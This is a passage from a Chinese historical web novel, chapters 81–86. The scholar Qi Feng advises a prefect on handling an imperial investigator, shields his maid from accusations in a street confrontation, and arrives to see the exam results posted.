赵明德摆了摆手,苦笑道:“公子莫误会,本官并非怀疑你。只是昨晚城郊林间,四名大内高手身死,现场却无半点痕迹,卢大人怀疑与乾朝余孽有关,手段诡异,令人费解。”
齐枫点点头,面上不动声色,昨晚之事,他亲手清理了痕迹,连卢正淳的追查都未找到线索,赵明德却特意提起,怕是有别的用意。
他试探道:“大内高手身死,乾朝余孽确有几分手段。赵大人召我,莫非与此事有关?”
赵明德叹了口气,起身踱步,似在斟酌言辞。
半晌,他停下脚步,直视齐枫:“不瞒贤弟,京城那位姓萧的要来了。”
齐枫挑眉,脑海中浮现南宫玥早前提及的情报。
他故作疑惑,问道:“姓萧的?可是北境萧氏之人?”
赵明德点头,压低声音:“正是萧氏,萧无痕,圣上近卫,飞刀绝技,百步之内取人首级。此人乃萧氏旁支子弟,却深得圣上信任,行事果断狠辣。他此番奉旨追查碧玺龙佩,定会掀起一番腥风血雨。”
他顿了顿,目光在齐枫与楚清秋间游移,“贤弟,昨晚那四名大内高手死得蹊跷,萧无痕此来,怕是要将府城翻个底朝天。乾朝余孽若真藏身于此,定然不甘寂寞。”
齐枫心头微动,萧氏乃京城名门,镇守北境,背后还有皇后,势力盘根错节,萧无痕既是旁支,却能成为圣上近卫,实力与背景皆不可小觑。
他沉吟片刻,问道:“赵大人,萧无痕此来,定是冲着龙佩。昨晚之事既已惊动圣上,府城怕是要乱了。大人召齐某前来,可是有何具体吩咐?”
赵明德苦笑一声,坐
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回主位,端起茶盏却未饮,目光复杂:“齐公子,实不相瞒,萧无痕此人,性子孤傲,目中无人。他若来了府城,卢大人尚能与他周旋,我这知府之位,怕是要被他压得喘不过气。圣上震怒,龙佩之事非同小可,若查不出结果,我这乌纱帽怕是难保。”
他顿了顿,目光灼灼地看向齐枫,“贤弟才智过人,青田县之事已传为佳话。本官想听听你的看法,这龙佩案,府城该如何应对?”
齐枫折扇轻摇,目光扫过赵明德,嘴角微微上扬。
赵明德的担忧显而易见,萧无痕的到来不仅威胁府城秩序,更可能动摇他的权势。
齐枫心下了然,赵明德召他前来,既是看重他的才智,也是想借他之力稳住局面。
他放下茶盏,笑道:“赵大人过奖了,齐某不过一介书生,怎敢妄议朝廷大事?不过,既然大人相询,齐某便斗胆说几句。”
赵明德眼睛一亮,忙道:“贤弟但说无妨!你的主意,向来高明。”
小荷在一旁瞪大眼睛,兴奋地拽了拽楚清秋的袖子:“青禾姐姐,你说少爷这次又要出妙招?”
楚清秋目光微动,静静注视着齐枫,也有期待。
齐枫起身,折扇轻合,缓缓踱步,沉吟道:“萧无痕此来,目标是乾朝余孽与碧玺龙佩,府城人多眼杂,春闱刚过,士子云集,正是鱼龙混杂之时。若他一味强查,恐会打草惊蛇,反让余孽潜藏更深。赵大人身为一府之尊,需得在查案与安民间找到平衡,方能保住权势,又不失圣上信任。”
赵明德皱眉,点头道:“贤弟说得有理,可具体该如何做?萧无痕性子强硬,卢大人又全力配合,他若执意翻查府城,我这知府也难挡其锋芒。”
齐枫微微一笑,眼中闪过一丝狡黠:“大人不必与他硬碰。萧无痕虽是圣上近卫,但初来府城,人生地不熟,查案还需仰仗地方势力。大人可借此机会,主动示好,暗中引导,化被动为主动。”
赵明德一愣,似未完全领会:“贤弟的意思是……”
第八十二章 缓兵之计
齐枫折扇一展,缓声道:“萧无痕要查龙佩,定会从昨晚城郊命案入手。大人可主动请缨,协助他彻查此事,但查案的方向,须由大人掌控。比如,可将重点放在城外驿站与商贾**之地,称余孽可能伪装成外来客商,借春闱之机潜入。”
“如此,既显得大人积极,又可将萧无痕的注意力引向城外,免得他在城内大肆搜捕,扰乱民心。”
楚清秋闻言,目光微闪,齐枫的策略看似为赵明德解围,实则也将追查的矛头引向城外,间接为她的行踪争取了时间。
赵明德抚掌沉思,喃喃道:“引向城外,这倒是个法子。可若萧无痕执意搜城呢?”
齐枫笑道:“大人莫急,萧无痕若执意搜城,大人可推说春闱揭榜在即,城内士子众多,贸然搜捕恐引起骚乱,损朝廷颜面。建议他先从城外入手,若无结果,再回城细查。”
“期间,大人可命人暗中放出风声,称余孽已逃往邻近古城,诱使萧无痕分兵追查。如此,府城压力减轻,大人既配合了朝廷,又保全了威信。”
赵明德闻言,眼睛渐渐亮起,拍案道:“好!此计甚妙!既不与萧无痕正面冲突,又能稳住局面。贤弟,你这法子,果然高明!”
齐枫摆手,谦逊道:“大人谬赞,齐某不过是抛砖引玉。大人若要施行此计,还需小心布置,切不可让萧无痕察觉大人有意偏转方向。”
赵明德连连点头,脸上笑意更浓:“贤弟放心,本官自有分寸。萧无痕虽强,但初来乍到,定要借助我府衙的力量。我便依你之计,先礼后兵,稳住他再说。”
他顿了顿,目光扫向楚清秋与小荷,“贤弟身边这两位姑娘,也是一等一的聪慧,今日多亏贤弟指点,本官心里有了底。”
小荷闻言,得意地挺了挺胸,笑嘻嘻道:“那是!我们少爷的脑子,谁能比得过?赵大人,您这回可得好好谢我们少爷!”
楚清秋淡淡道:“小荷,莫要胡言。少爷才智,府城皆知,赵大人自有赏识。”
齐枫哈哈一笑:“青禾说得是,大人不必客气。齐某既在府城,自当为大人分忧。”
赵明德起身,拱手道:“齐公子,此番多谢!揭榜之后,若贤弟高中,本官定为你庆功!”
齐枫拱手回礼:“多谢大人抬爱,齐某先谢过了。”
他目光扫过楚清秋,见她神色平静,心中却暗自思量,萧无痕的到来,楚清秋的身份,怕是藏不了太久。
正厅内的谈话持续了一盏茶的工夫,赵明德又细细询问了齐枫一些春闱的事宜,气氛渐渐缓和。
齐枫应对自如,言辞间不失风趣,惹得赵明德频频点头。
小荷在一旁看得兴起,不时插嘴几句,楚清秋则始终沉默,目光却不时落在齐枫身上,似有千言万语。
谈话将尽,赵明德忽道:“齐公子,萧无痕此人,手段狠辣,你在府城行走,务必小心。袁克良那莽夫,怕是也会借机生事,你身边这位青禾姑娘,身手不凡,可得护好了。”
齐枫笑着点头:“大人放心,青禾的本事,齐某信得过。袁克良若再来挑衅,齐某自有办法应对。”
赵明德哈哈一笑,端起茶盏:“好!齐公子有此自信,本官便放心了。时候不早,贤弟早些回去歇息,揭榜之日,本官在府衙设宴,为你接风!”
齐枫拱手告辞,带着楚清秋与小荷出了正厅。
夕阳西斜,府衙外的街道上人流渐少,齐枫走在前面,似在思索什么。
小荷提着灯笼,兴奋道:“少爷,您方才那主意也太妙了!把萧无痕引到城外去,赵大人这下可省心了!”
楚清秋跟在身后,淡淡道:“少爷此计,的确高明。只是萧无痕若真来了,怕是没那么好对付。”
齐枫停下脚步,回头看了楚清秋一眼,笑道:“青禾,你可是担心我被萧无痕盯上?放心,本少爷心里有数。倒是你,昨晚睡得不好,气
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息不稳,可得好好调养。”
楚清秋一怔,面纱下的目光闪过一丝复杂,轻轻点头:“多谢少爷关心。”
三人回到客栈,夜幕降临,齐枫推开房门,点亮烛火,坐在榻边,目光却不经意扫向窗外,微微摇头一笑。
……
两日的时光悄然而去。
午后的府城,客栈外的街道热闹非凡,今日便是春闱揭榜的日子。
齐枫一身青衫,折扇轻摇,正准备带着楚清秋和小荷出门,前往府衙前的榜台瞧热闹。
他刚迈出客栈门槛,便见周子陵,徐远,陈玉堂三人快步走来,脸上俱是喜色。
周子陵一马当先,哈哈大笑,拍着齐枫的肩膀:“齐兄,今日揭榜,秀才之名非你莫属!提前恭喜了!”
他声音洪亮,满脸豪爽,引得路人纷纷侧目。
徐远跟在后面,抱拳拱手,笑得一脸纨绔:“齐枫,对你而言春闱那点题目算什么?今晚醉月楼,我请客,给你庆功!”
陈玉堂也不甘示弱,挤上前,咧嘴道:“齐兄弟,青田县的诗才今日定要让府城士子瞧瞧厉害!揭榜后,兄弟我摆一桌,咱不醉不归!”
齐枫折扇轻合,笑着拱手:“三位兄台抬爱了,揭榜尚未出,结果未知,怎敢当此恭贺?不过,诸位的美意,齐某心领了。”
他语气谦逊,目光却扫过三人,察觉到他们眼中的真诚。
周子陵摆手,爽朗道:“齐兄莫要谦虚!你在醉月楼压服南宫玥的诗才,街头化解陈玉堂和徐远的争端,谁不知你才高八斗?秀才之名,板上钉钉了!”
徐远点头,接话道:“就是!齐枫,你若不中,我把这块玉佩吃了!”
他拍了拍腰间的玉佩,正是前几日街头争执的那块,如今已被学政收为镇场之宝。
陈玉堂哈哈一笑,接口道:“徐远,你这玉佩可别真吃了,留着请齐兄弟喝酒才是正经!今儿揭榜,咱们一起去,给你壮声势!”
第八十三章 萧无痕到来
楚清秋站在齐枫身旁,青衣面纱,气质清冷,闻言却也是淡淡一笑。
小荷却按捺不住,兴冲冲道:“少爷,这三位公子说得对!您肯定能中!咱们快去榜台瞧瞧,别让好位置被抢了!”
齐枫笑着摇头,温声道:“小荷莫急,榜台就在府衙前,跑不了。几位兄台,咱们边走边聊,如何?”
几人说笑着正要动身,忽听一阵急促的马蹄声自街头传来,尘土飞扬,震得路人纷纷避让。
一群骑士策马而来,约莫十余人,个个身着黑甲,腰佩长刀,气势汹汹。
领头一人骑着高头大马,身披一袭赤红锦袍,腰间挂着一柄寒光闪闪的圆月弯刀,刀柄上镶嵌的宝石在阳光下熠熠生辉。
他面容冷峻,眉眼间透着凌厉杀气,目光如鹰隼般直勾勾锁定齐枫,压迫感扑面而来。
马队在他身后整齐停下,街道上的喧嚣瞬间被这股肃杀之气压得寂静无声。
齐枫眉头微挑,认出此人身旁那张熟悉的嚣张面孔,袁克良!
袁克良一身锦衣,骑在马上,昂首挺胸,嘴角挂着一抹冷笑。
他翻身下马,朝齐枫走来,阴阳怪气道:“哟,齐枫,这么热闹?这是打算去哪儿啊?”
他目光扫过周子陵等人,带着几分挑衅,满是轻蔑。
周子陵脸色一沉,低声嘀咕:“来者不善,这家伙又来找茬。”
徐远和陈玉堂对视一眼,眼中闪过警惕,徐远小声道:“袁克良这狗东西,带着这么多人,怕是有备而来。”
陈玉堂握紧拳头,压低声音:“齐兄弟,小心点,这家伙肯定憋着坏水。”
齐枫折扇轻摇,目光从袁克良移到那红袍男子身上,平静道:“袁兄,齐某不过是要去榜台瞧瞧揭榜,几位兄台相陪,热闹罢了。倒是你,带着这么多朋友,气势不小啊。”
袁克良冷哼一声,指了指身后的红袍男子,傲然道:“齐枫,睁大你的眼睛瞧瞧,这位是京城来的萧无痕,圣上近卫!前些天城郊那几具尸体的事,想必你应该还记得,萧大人此来,就是要揪出乾朝余孽,找回碧玺龙佩!”
他顿了顿,目光阴冷,“你急着去看揭榜?不会是想借机溜走,心虚了吧?”
齐枫心头微动,目光再次落在萧无痕身上。
萧无痕端坐马上,面无表情,赤红锦袍在风中猎猎作响,圆月弯刀的寒光映得他面容更显冷酷。
他的眼神如刀锋般锐利,似要将齐枫的每一丝表情剖开,杀气毫不掩饰,压得小荷不自觉后退半步。
楚清秋站在齐枫身旁,气息微敛,面纱下的目光却暗藏警惕。
周子陵忍不住上前一步,皱眉道:“袁克良,你少在这儿含血喷人!齐兄清清白白,春闱刚过,正要去揭榜这不是很正常?你在这儿胡咧咧什么?”
徐远也冷笑一声,接口道:“就是!袁克良,你自己没本事考秀才,就在这儿嫉妒?带着人堵路,也不怕丢了袁氏的脸!”
陈玉堂拍了拍腰间的佩刀,沉声道:“袁克良,有话直说,别在这儿阴阳怪气的。齐兄弟要去揭榜,你拦着干什么?莫非你也想去凑热闹?”
他语气虽硬,目光却不时瞥向萧无痕,显然对这红袍男子的气势有些忌惮。
袁克良哈哈一笑,目光却始终锁在齐枫身上:“凑热闹?齐枫,萧大人刚到府城,你就急着往榜台跑,莫非是想趁乱溜走?城郊那案子,卢大人查得紧,你就不怕查到你头上?”
他话音刚落,身后的黑甲骑士齐齐踏前一步,马蹄声震得地面微颤,气势逼人。
齐枫目光平静地迎上袁克良的挑衅,笑道:“袁兄这话有趣。齐某一介书生,考完春闱,去看揭榜天经地义。城郊之事,早说过了,那天齐某宿醉未醒,早已在客栈歇息,袁兄何必捕风捉影?”
他顿了顿,目光扫向萧无痕,拱手道:“这位想必就是萧大人,齐某久仰大名。今日揭榜,府城士子齐聚,萧大人若有要事,齐某不便叨扰,先行一步了。”
说罢,齐枫转身欲走,楚清秋与小荷紧随其后。
周子陵等人也迈开步子,准备一同前往榜台。
谁知袁克良冷笑一声,身形一闪,横跨一步挡在齐枫面前,扬声道:“齐枫,谁让你走了?萧大人面前,你也敢这么嚣张?今儿这路,你走不了!”
齐枫停下脚步,目光中闪过一丝冷意。
他尚未开口,楚清秋已上前半步,声音清冷:“袁公子,揭榜乃府城大事,齐公子前往榜台,光明正大。你带人拦路,莫非想扰乱揭榜?”
小荷也叉腰瞪眼,气鼓鼓道:“就是!袁克良,你仗
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着人多欺负人?我们少爷可是正经秀才,你在这儿耍什么威风!”
周子陵冷哼一声,接口道:“袁克良,你若有真凭实据,就去府衙找卢大人告状,带着一帮人堵在这儿,算什么本事?”
徐远拍了拍胸口,嚷道:“齐枫,咱们走!揭榜要紧,谁敢拦路,我徐远第一个不答应!”
陈玉堂也上前一步,沉声道:“袁克良,你再胡搅蛮缠,休怪我陈某不客气!”
三人气势汹汹,隐隐将齐枫护在身后,街道上的路人早已停下脚步,远远围观,窃窃私语。
萧无痕依旧端坐马上,目光如刀,始终未发一言。
他的沉默却比袁克良的叫嚣更具压迫感,圆月弯刀的寒光在阳光下闪烁。
袁克良见萧无痕未阻止,胆气更壮,指向齐枫,冷笑道:“齐枫,萧大人奉圣命追查龙佩,你最好老实点!我怀疑人就是你杀的!”
齐枫目光微眯,笑道:“袁兄,饭可以乱吃,话可不能乱说。齐某那晚宿醉,青禾和小荷皆可作证,萧大人若有疑虑,大可去客栈查问,齐某行得正,坐得端,不怕查。”
萧无痕终于开口:“齐枫,春闱才子,名声不小。城郊之事,本官自会查清。你若清白,最好老实配合。”
他话音未落,手指轻抚圆月弯刀,杀气骤然升腾,引得周子陵等人不自觉后退半步。
齐枫却不动声色,拱手道:“萧大人言重了。齐某不过一介书生,揭榜在即,只想去榜台一观。既无圣命,也无罪证,袁兄拦路,莫非是想私设公堂?”
他话锋一转,目光扫向袁克良,一脸嘲讽,“袁兄,萧大人面前,你如此咄咄逼人,怕是喧宾夺主了吧?”
袁克良脸色一变,正要反唇相讥,萧无痕却抬手示意他闭嘴,目光依旧锁在齐枫身上,缓缓道:“齐枫,揭榜之事,本官不拦。但龙佩一案,府城无人可置身事外。你若识相,最好主动配合,免得自误。”
齐枫笑道:“萧大人放心,齐某自当遵纪守法。揭榜之后,若大人有需,齐某定当配合。”
他顿了顿,转向袁克良,“袁兄,路已让开,齐某还有事,先走一步了。”
袁克良脸色铁青,猛地踏前一步,喝道:“齐枫,谁让你走了?萧大人还没发话,这路,你走不了!”
第八十四章 争锋相对
袁克良话音刚落,身后的黑甲骑士齐齐勒马,气势压人,街道上的行人早已退得远远,窃窃私语。
萧无痕抬手,示意袁克良稍安勿躁,目光却始终锁在齐枫身上。
“齐枫,袁克良方才所言,城郊命案,诡异非常。本官初来府城,听闻你身边这位侍女,身手不凡,似与江湖人士有几分关联。”
他目光一转,落在楚清秋身上,语气冷冽,“揭榜之事,你尽可去,但这位姑娘,需随本官回府衙,协助调查。”
此言一出,空气仿佛凝固。
小荷瞪大眼睛,猛地跳到楚清秋身前,叉腰怒道:“你们说什么?青禾姐姐不过是少爷的侍女,平日里端茶递水,哪来的什么江湖人士?萧大人,你莫听袁克良胡说八道,他就是嫉妒我家少爷!”
她小脸涨红,气势丝毫不弱,引得围观的路人低声议论。
周子陵脸色一沉,上前一步,抱拳道:“萧大人,齐兄乃青田县有名的才子,春闱才刚考完,名声清白。青禾姑娘是齐府的侍女,忠心耿耿,怎会与什么江湖人士扯上关系?袁克良这话,分明是想借机生事!”
徐远也冷笑一声,拍着胸脯道:“就是!齐枫的侍女,那可是齐氏精心挑的,谁不知道齐氏家风严谨?袁克良,你张口就来,污蔑青禾姑娘是江湖人士,有什么证据?莫不是看齐枫要中秀才,眼红了吧?”
陈玉堂沉声道:“萧大人,袁克良这人,向来与齐兄弟不对付。他这话,摆明了是想给齐兄弟泼脏水!青禾姑娘温柔端庄,哪像什么江湖高手?袁克良,你若有真凭实据,拿出来让大家瞧瞧!”
楚清秋站在齐枫身旁,面纱下的目光微微闪烁,明显是在权衡局势。
齐枫却察觉到她袖中手指微微收紧,心中暗叹,知道她肯定是担心身份暴露。
他目光扫过萧无痕,平静道:“萧大人,青禾乃齐府之人,忠心耿耿。城郊命案时,齐某宿醉未醒,青禾亦在客栈歇息。大人若要查案,齐某自当配合,但凭空怀疑,怕是难服人心。”
萧无痕眼神微眯,圆月弯刀在马鞍上轻轻一颤,寒光闪过,杀气更盛。
他冷声道:“齐枫,本官查案,只讲证据,不论人情。袁克良所言,你这侍女身手不凡,城郊命案,尸体消失无踪,手段非同一般。你若清白,让她随本官回府衙走一趟,自能证明。若不敢,莫不是做贼心虚?”
此言一出,周子陵,徐远,陈玉堂三人脸色齐变。
周子陵皱眉道:“萧大人,青禾姑娘不过是齐兄的侍女,怎会与命案有关?袁克良这分明是挑拨离间,想借您的手打压齐兄!”
徐远也急了,嚷道:“就是!齐枫若真有问题,还会在这儿跟你们废话?袁克良,你少在这儿装模作样,拿不出证据就别在这儿丢人现眼!”
陈玉堂踏前一步,怒道:“萧大人,袁克良这话,摆明了是想借刀**!青禾姑娘我瞧着就是个弱女子,哪来的什么江湖高手的本事?您若真要查,大可去客栈问问,那晚谁见过青禾出门?”
袁克良冷笑连连,目光阴鸷地盯着齐枫:“齐枫,你这帮朋友倒是护你护得紧。可惜,萧大人眼里揉不得沙子!你说你清白,青禾清白,那随我们回府衙查一查又有何妨?还是说,你真怕查出什么,宁愿在这儿嘴硬?”
他顿了顿,目光扫向楚清秋,“这位青禾姑娘,城郊的事,你敢说你一点不知情?”
小荷气得跳脚,指着袁克良骂道:“你这人怎么这么不要脸?青禾姐姐一直跟我在客栈里,压根没出门!你空口白牙污蔑人,信不信我去府衙告你!”
她小脸通红,转头看向齐枫,急道:“少爷,你快说句话,青禾姐姐可不能被他们带走!”
楚清秋终于抬眸,目光清冷地看向袁克良:“袁公子,齐公子待我如家人,我自问问心无愧。你若有证据,尽管拿出来。”
齐枫踏前一步,将楚清秋护在身后,目光直视萧无痕,笑道:“萧大人,青禾随我多年,齐某知根知底
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。她不过一介女子,怎会与江湖高手扯上关系?大人若要查案,齐某与青禾自当配合。”
“但今日揭榜在即,士子云集,贸然带人回去,怕是会引得流言四起,扰乱府城秩序。”
萧无痕眼神微动,似在权衡齐枫的话。
袁克良却不依不饶,冷笑道:“齐枫,你知根知底有什么用?我们不知道!这女人行踪诡秘,城郊命案尸体消失得干干净净,不是江湖高手,谁能做到?你若真清白,就让她现在跟我们走,否则,哼!”
他目光阴冷,声音陡然拔高,“包庇**,尤其是乾朝余孽,那可是诛连九族的大罪!”
此言一出,街道上的空气仿佛凝固。
周子陵脸色一变,怒道:“袁克良,你这话过了!诛连九族?你当自己是朝廷命官了?齐兄和青禾姑娘清清白白,你凭什么扣这么大的帽子?”
徐远也急了,嚷道:“袁克良,你少在这儿吓唬人!青禾姑娘要是乾朝余孽,我徐远把脑袋割下来给你当球踢!”
陈玉堂直接就抬起了手:“袁克良,你再胡说八道,信不信我跟你当街比划比划?齐兄弟和青禾姑娘的事,轮不到你在这儿指手画脚!”
三人气势汹汹,隐隐将齐枫和楚清秋护在身后,街道上的围观人群越聚越多,议论不绝。
楚清秋目光微动,身形微微前倾,正要踏前一步,像是要开口认下此事。
齐枫却察觉到她的动作,侧身挡在她身前,淡淡笑道:“袁兄,青禾随我将近半年,齐某对她知根知底。她不过一介侍女,忠心耿耿,袁兄何必揪着不放?若萧大人真要查,齐某自会带青禾去府衙,光明正大配合。可若袁兄一味胡搅蛮缠,怕是连萧大人都看不下去了吧?”
袁克良脸色铁青,目光阴鸷地盯着齐枫,咬牙道:“齐枫,你少在这儿耍嘴皮子!”
他顿了顿,转向萧无痕,恭敬道:“萧大人,这姓齐的油嘴滑舌,这女人定与命案有关,请大人下令,带她回去!”
第八十五章 救场
萧无痕目光冷冽,缓缓扫过齐枫与楚清秋,圆月弯刀在马鞍上轻轻一颤,杀气更盛。
他尚未开口,齐枫却笑了笑,拱手提出了要求。
“萧大人,齐某敬重朝廷,绝无包庇之意,青禾乃齐府之人,身份清白,若大人真要带她回去,齐某自当随行,亲自向卢大人说明。只是今日揭榜,府城士子齐聚,贸然行动,恐引非议。不如给齐某一日时间,揭榜后,定带青禾去府衙,如何?”
萧无痕眼神微眯,似在权衡。
袁克良却按捺不住,猛地一挥手,身后的黑甲骑士齐齐上前,将齐枫等人围在中央,马蹄声震得地面微颤。
他冷笑一声,指向齐枫:“齐枫,敬酒不吃吃罚酒,那就别怪我不客气!”
楚清秋身形微动,踏前一步,眼中闪过决然,显然不愿连累齐枫,准备独自面对。
就在此时,一阵急促的马蹄声从街头传来,伴随着女子清脆的喊声:“都给我住手!”
众人循声望去,只见赵明兰一身鹅黄劲装,骑着枣红马,风风火火冲来,身后跟着赵明德与数名府衙侍卫。
赵明兰勒马停下,翻身落地,杏眼一瞪,扫过袁克良与黑甲骑士,气势丝毫不逊。
赵明德紧随其后,一身官袍,气度沉稳,下马后目光先落在萧无痕身上,拱手笑道:“萧大人,初来府城,未能远迎,失礼了。在下赵明德,府城知府,久闻萧大人飞刀之名,今日一见,果然气度不凡。”
萧无痕端坐马上,目光冷冽,微微颔首,算是回应。
他手中圆月弯刀轻轻一转,寒光一闪,语气淡漠:“赵大人客气了。本官奉圣命追查龙佩,今日路遇齐枫,有些事需问清楚。”
赵明兰却不管这些,叉腰站在齐枫身旁,瞪着袁克良:“袁克良,你又在这儿闹什么?大街上堵着齐公子,带着这么多人,摆明了想欺负人!”
她转向萧无痕,抱拳道:“萧大人,我叔父与齐公子交好,齐公子可是府城有名的才子,青田县官盐案就是他帮着破的,你可别听袁克良胡说八道!”
齐枫挑眉,看向赵明兰,心中微动。
他原以为赵明兰大大咧咧,只会仗着赵氏背景硬来,没想到她一开口便直指袁克良的动机,颇有几分一针见血的锐利。
楚清秋站在他身旁,气息稍缓,目光却依旧警惕,落在萧无痕身上。
小荷则松了口气,拽着楚清秋的袖子,低声道:“青禾姐姐,赵小姐来了,袁克良这下可讨不了好了!”
赵明德摆手示意赵明兰稍安勿躁,转向萧无痕,沉声道:“萧大人,街头围堵,恐扰民心。不知齐公子何事惹了袁公子拦路?可否告知一二?”
周子陵上前一步,抱拳道:“赵大人,事情是这样的。齐兄今日要去榜台揭榜,袁克良却带着萧大人的人堵路,硬说齐兄的侍女青禾与城郊命案有关,还要带她回府衙。分明是袁克良嫉妒齐兄才名,借机生事!”
徐远也冷哼一声,接话道:“就是!袁克良哪次见齐枫不是鼻子不是眼的?萧大人,您可别被他当刀使!”
陈玉堂拍了拍腰间佩刀,沉声道:“赵大人,齐兄弟清清白白,青禾姑娘不过是齐府的侍女,袁克良空口无凭,硬要扣帽子,这不是欺负人是什么?”
三人你一言我一语,义愤填膺,引得围观人群议论纷纷,指指点点。
袁克良脸色一变,额角渗出冷汗,强自镇定道:“赵大人,赵小姐,你们别在这儿胡说八道!齐枫的侍女行踪诡秘,城郊命案尸体消失,手段非同一般,萧大人查案,怎能放过任何嫌疑?你们护着齐枫,莫不是也想包庇**?”
赵明兰双手环胸,毫不客气道:“袁克良,谁不知道你跟齐公子不对付?齐公子在青田县破了官盐案,诗才又压得你喘不过气,你早看他不顺眼了吧?如今春闱揭榜,齐公子名声更盛,你就想借萧大人的手压他
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一头,门儿都没有!”
齐枫目光扫过赵明兰,心中再度暗赞。
点破袁克良的动机,还将萧无痕的立场摆上台面,逼他表态。
萧无痕何等人物,圣上近卫,性子孤傲,最厌被人利用。
果然,萧无痕闻言,脸色微冷,目光如刀般转向袁克良:“袁克良,本官查案,自有分寸。你若再借本官之名生事,休怪本官不客气。”
袁克良一怔,额头冷汗更甚,忙低头道:“萧大人误会了!在下绝无此意,只是……只是这女人,确实可疑!城郊命案,尸体消失,怎会与她无关?”
他又看向赵明兰:“赵姑娘,慎言,否则别怪我不客气!”
赵明德冷笑一声,踏前一步,目光如炬:“袁公子,你说青禾姑娘可疑,可有真凭实据?若只是捕风捉影,就想在本官治下随意拿人,怕是有些过了吧?袁公子,不如说说,你打算如何不客气?”
袁克良张了张嘴,脸涨得通红,却一个字也吐不出。
赵明兰在一旁幸灾乐祸,笑道:“袁克良,平时耀武扬威,这会儿怎么不吭声了?还想不客气?来,给我瞧瞧你怎么个不客气法!”
赵明德转向萧无痕,抱拳道:“萧大人,齐枫乃本官看重的才俊,青田县官盐案,他与本官联手破获,忠心耿耿,绝非包庇**之人。他身边这位青禾姑娘,不过是齐氏为他安排的侍女,略通武艺,只为护他周全。”
“萧大人若要查案,本官与齐枫自当配合,但今日揭榜在即,贸然带人,恐引非议。不如待揭榜后,本官亲自陪齐枫与青禾姑娘去府衙,接受调查,如何?”
齐枫闻言,心中微动。
他拱手道:“赵大人言重了。齐某与青禾问心无愧,萧大人若有疑虑,揭榜后自当配合。”
他目光扫向袁克良,嘴角微扬,“袁公子,齐某与青禾的清白,自有府衙公断。你若再无凭据,怕是要让萧大人失望了。”
第八十六章 中榜!
袁克良咬牙切齿,却不敢再多言。
萧无痕的目光在齐枫与赵明德间游移,圆月弯刀轻轻一转,寒光闪过,杀气稍敛。
他沉声道:“赵大人,齐枫,本官给你们一日时间。揭榜之后,她必须随本官回府衙。若查出任何端倪,莫怪本官无情。”
他话音冷冽,却不再咄咄逼人,显然不愿与赵明德正面冲突。
赵明兰拍手笑道:“好!萧大人这话公道!齐公子,青禾姐姐,咱们去榜台!揭榜要紧,别让袁克良这家伙坏了兴致!”
她转向袁克良,挑衅道:“袁公子,你若不服气,揭榜后去府衙告状啊,看卢大人信你还是信我们!”
周子陵哈哈一笑,接话道:“就是!袁克良,你这点小心思,谁看不出来?齐兄,咱走,揭榜去!”
徐远拍着胸脯,嚷道:“齐枫,今儿你要是中了秀才,我请全场,醉月楼走起!”
陈玉堂也咧嘴道:“齐兄弟,别理这家伙,咱们去榜台,给你壮声势!”
楚清秋目光微动,面纱下的神色复杂。
她方才已做好独自面对的准备,却未料齐枫与赵明德的维护让她免于危机。
小荷吐了吐舌头,朝袁克良做了个鬼脸,引得路人一阵轻笑。
赵明德摆手,示意众人散去,转向萧无痕,拱手道:“萧大人,揭榜乃府城大事,士子云集,不如请大人一同前往,观礼之后,再议查案之事?”
“不必了,本官还有事!”
萧无痕拒绝。
齐枫与楚清秋,小荷,周子陵等人并肩朝榜台走去。
赵明兰骑马跟在身旁,不时回头瞪袁克良一眼,得意洋洋。
街道上的围观人群渐渐散去,议论声却未停歇。
萧无痕端坐马上,目光深邃,始终未离齐枫背影。
榜台近在眼前,府衙前的广场已挤满了士子与看客,榜单尚未张贴,气氛却已热烈非凡。
齐枫目光扫过人群,心中暗自思量:揭榜之后,萧无痕的追查定会加剧,青禾的身份,怕是藏不了太久了。
他看向楚清秋,见她神色平静,却透着一丝隐忧。
赵明兰骑在枣红马上昂首挺胸,哼了一声,打破了队伍中的沉默:“袁克良那家伙,真是越看越讨厌!借着萧无痕的势,硬要给齐公子泼脏水,摆明了嫉妒!”
周子陵走在齐枫身旁,闻言冷笑:“可不是?袁克良那点心思,谁看不出来?如今春闱揭榜,他眼红得不行,非要拉上萧无痕来找茬!”
他顿了顿,目光扫向远处萧无痕的背影,低声道:“不过,袁克良虽讨厌,萧无痕才是真麻烦。圣上近卫,飞刀无双,杀气那么重,怕是不好对付。”
徐远拍了拍腰间玉佩,痞气十足地接话:“萧无痕再厉害,也不能不讲道理!袁克良是满嘴喷粪!”
陈玉堂沉声道:“袁克良就是个跳梁小丑,借萧无痕的刀想压齐兄弟一头。可萧无痕那人,眼睛里揉不得沙子,齐兄弟和青禾姑娘若真被他盯上,怕是得费些心思应付。”
赵明兰翻身下马,叉腰站在齐枫身旁,扬声道:“怕什么?袁克良那点伎俩,摆明了是嫉妒齐公子!身正不怕影子斜,萧无痕查不出什么,袁克良就等着丢人吧!”
齐枫微笑不语,他轻轻侧身,对楚清秋低声道:“青禾,莫多想。今日揭榜要紧,其他事,兵来将挡水来土掩。”
楚清秋闻言,目光微动,面纱下的嘴角微微上扬,露出一抹浅笑:“少爷,多谢。”
小荷走在两人身旁,兴奋地插嘴:“少爷,青禾姐姐,赵小姐说得对!袁克良就是个大坏蛋,萧无痕再厉害,也不能随便冤枉人!咱们快去榜台,少爷肯定能中秀才!”
她小脸红扑扑的,满眼期待,引得齐枫轻笑出声,拍了拍她的头:“小荷,嘴甜了些。榜单未出,哪来的准信?”
一行人说笑着来到榜台前,广场上已是人山人海。
士子们三五成群,议论纷纷。
有人高声道:“听说这次春闱题目极难,能上榜的,定是真才学!”
另一人接口道:“那还用说?齐枫可是青田县的诗才,醉月楼一首诗压服南宫玥,榜首非他莫属!”
旁边却有人摇头:“未必
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!府城藏龙卧虎,徐氏的徐子昂学问也不差,怕是有得争!”
周子陵挤进人群,回头笑道:“齐兄,这些人可真会猜!不过我看,榜首非你莫属!徐子昂那书呆子,哪比得上你的灵气?”
徐远哈哈一笑,拍着齐枫肩膀:“就是!齐枫,徐子昂是我表弟,他和你可比不了。”
赵明兰站在榜台边,昂首道:“你们几个,别光顾着说!齐公子要是中了榜首,我叔父说了,府衙摆宴,为他庆功!”
她话音刚落,引得周围士子一阵羡慕,低声议论:“齐枫真有福气,连赵知府都这么看重!”
“可不是?听说他还帮着破了官盐案,了不得!”
楚清秋站在齐枫身旁,静静听着众人的议论,目光却扫向远处。
榜台前的鼓声忽响,衙役高声喊道:“揭榜时辰到!”
人群顿时安静下来,所有目光齐齐转向榜台。
两名衙役小心翼翼展开红绸榜单,缓缓张贴在木台上。
士子们伸长脖子,争相探看,喧嚣声再次炸开:“快看!榜单出来了!”
“谁是榜首?快念啊!”
